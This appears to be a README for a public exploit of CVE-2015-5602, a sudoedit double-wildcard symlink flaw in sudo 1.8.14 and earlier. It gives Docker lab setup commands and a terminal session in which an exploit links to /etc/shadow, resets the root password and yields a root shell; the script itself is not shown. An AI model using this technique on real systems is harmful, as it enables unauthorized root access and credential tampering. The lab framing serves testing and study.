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Sudo <=1.8.14 Local Privilege Escalation

Sudo (su "do") allows a system administrator to give certain users (or groups of users) the ability to run some (or all) commands as root while logging all commands and arguments.

Vulnerable environment

To setup a vulnerable environment for your test you will need Docker installed, and just run the following command:

docker build -t privesc/cve-2015-5602 .
docker run --rm -it privesc/cve-2015-5602

And it will spawn a interactive shell with low user privileges.

Vulnerable code

The bug was found in sudoedit, which does not check the full path if a wildcard is used twice (e.g. /home/*/*/esc.txt), this allows a malicious user to replace the esc.txt real file with a symbolic link to a different location (e.g. /etc/shadow).

Successfully exploiting this issue may allow an attacker to manipulate files and to gain root privileges on host system through symlink attacks.


To exploit this target just run:


If you are using this vulnerable image, you can just run:

user@1cc9cd901b07:~$ sudo -l
User user may run the following commands on 1cc9cd901b07:
    (root) NOPASSWD: sudoedit /home/*/*/esc.txt
user@1cc9cd901b07:~$ ./ 
[+] CVE-2015-5602 exploit by t0kx
[+] Creating folder...
[+] Creating symlink
[+] Modify EDITOR...
[+] Change root password to: d03c09dc34c53657aff1f459a86b20ed
[+] Done
user@1cc9cd901b07:~$ su
root@1cc9cd901b07:/home/user# id
uid=0(root) gid=0(root) groups=0(root)


This flaw was found by Daniel Svartman.


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